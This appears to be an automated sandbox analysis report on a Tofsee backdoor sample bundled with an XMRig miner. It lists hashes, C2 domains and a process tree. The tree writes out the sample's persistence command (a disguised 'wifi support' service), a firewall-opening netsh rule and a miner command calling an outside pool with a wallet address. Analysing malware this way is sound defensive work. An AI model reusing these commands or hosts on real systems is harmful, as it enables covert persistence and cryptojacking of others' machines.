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Overview

overview

10

Static

static

1

file.exe

windows7-x64

10

file.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/02/2023, 13:34

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General

  • Target

    file.exe

  • Size

    314KB

  • MD5

    01a3c4df7bcd2d3a71c4509c3fd0b2a9

  • SHA1

    36970dee1e367f341debb313d9182ea6ab9fcfe1

  • SHA256

    14a7c5a5c66dc73b5a170f2f43fba2e97c0139fe1456ec56fb5857eb673d973d

  • SHA512

    3f4a6f1c8b0c8ec5d2de60133ddbf7852bb342cf78172bc178b4ea2a0d68f4da808fb7e1e92155212a86589c602f514b34ab19a459c6bc58a5a3e4a12c67848a

  • SSDEEP

    3072:kwUAV7D+B71hJdONp0FX+sKucBOjEtnF5/ESBmO7ARLStKRxhUwscNr:kFA98zTypEOlVwEvESoRgtKBDr

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1316
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\feflknza\
      2⤵
        PID:5060
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\lsswxhrc.exe" C:\Windows\SysWOW64\feflknza\
        2⤵
          PID:3996
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create feflknza binPath= "C:\Windows\SysWOW64\feflknza\lsswxhrc.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3624
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description feflknza "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3904
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start feflknza
          2⤵
          • Launches sc.exe
          PID:3704
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4416
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1316 -s 792
          2⤵
          • Program crash
          PID:4116
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 1316 -ip 1316
        1⤵
          PID:3768
        • C:\Windows\SysWOW64\feflknza\lsswxhrc.exe
          C:\Windows\SysWOW64\feflknza\lsswxhrc.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:3212
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:1432
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3408
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 396
            2⤵
            • Program crash
            PID:1836
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 3212 -ip 3212
          1⤵
            PID:4700

          Network

          MITRE ATT&CK Enterprise v6

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\lsswxhrc.exe
            Filesize

            13.9MB

            MD5

            3779389a923f40117e8c01b31895a538

            SHA1

            fc96108a3755ada7ad7b5aa8ad88b374f82f6356

            SHA256

            ad7df2f46a659e7bbc50f013b4fb845f006dc3f9ac9ed6c4b5e6c3421846a71c

            SHA512

            dda47bd713ffb4e7ae5477e6d1d0ccbf310b4abf9b5b929217f660652782a868f6ea0c2fb917bb9ac3cce59353da985a67bc3db5a086e617ba2c49299161e67b

            Download Submit

          • C:\Windows\SysWOW64\feflknza\lsswxhrc.exe
            Filesize

            13.9MB

            MD5

            3779389a923f40117e8c01b31895a538

            SHA1

            fc96108a3755ada7ad7b5aa8ad88b374f82f6356

            SHA256

            ad7df2f46a659e7bbc50f013b4fb845f006dc3f9ac9ed6c4b5e6c3421846a71c

            SHA512

            dda47bd713ffb4e7ae5477e6d1d0ccbf310b4abf9b5b929217f660652782a868f6ea0c2fb917bb9ac3cce59353da985a67bc3db5a086e617ba2c49299161e67b

            Download Submit

          • memory/1316-133-0x0000000000650000-0x0000000000663000-memory.dmp

            Filesize

            76KB

            Download

          • memory/1316-134-0x0000000000400000-0x00000000004CA000-memory.dmp

            Filesize

            808KB

            Download

          • memory/1316-132-0x00000000007CF000-0x00000000007E4000-memory.dmp

            Filesize

            84KB

            Download

          • memory/1316-144-0x0000000000400000-0x00000000004CA000-memory.dmp

            Filesize

            808KB

            Download

          • memory/1316-143-0x00000000007CF000-0x00000000007E4000-memory.dmp

            Filesize

            84KB

            Download

          • memory/1432-159-0x00000000009F0000-0x0000000000A00000-memory.dmp

            Filesize

            64KB

            Download

          • memory/1432-152-0x0000000000330000-0x0000000000345000-memory.dmp

            Filesize

            84KB

            Download

          • memory/1432-168-0x00000000019E0000-0x00000000019E7000-memory.dmp

            Filesize

            28KB

            Download

          • memory/1432-165-0x0000000007100000-0x000000000750B000-memory.dmp

            Filesize

            4.0MB

            Download

          • memory/1432-162-0x00000000019D0000-0x00000000019D5000-memory.dmp

            Filesize

            20KB

            Download

          • memory/1432-156-0x00000000009E0000-0x00000000009E6000-memory.dmp

            Filesize

            24KB

            Download

          • memory/1432-146-0x0000000000330000-0x0000000000345000-memory.dmp

            Filesize

            84KB

            Download

          • memory/1432-153-0x0000000002200000-0x000000000240F000-memory.dmp

            Filesize

            2.1MB

            Download

          • memory/1432-151-0x0000000000330000-0x0000000000345000-memory.dmp

            Filesize

            84KB

            Download

          • memory/3212-150-0x0000000000400000-0x00000000004CA000-memory.dmp

            Filesize

            808KB

            Download

          • memory/3212-149-0x0000000000689000-0x000000000069F000-memory.dmp

            Filesize

            88KB

            Download

          • memory/3408-172-0x0000000000C20000-0x0000000000D11000-memory.dmp

            Filesize

            964KB

            Download

          • memory/3408-177-0x0000000000C20000-0x0000000000D11000-memory.dmp

            Filesize

            964KB

            Download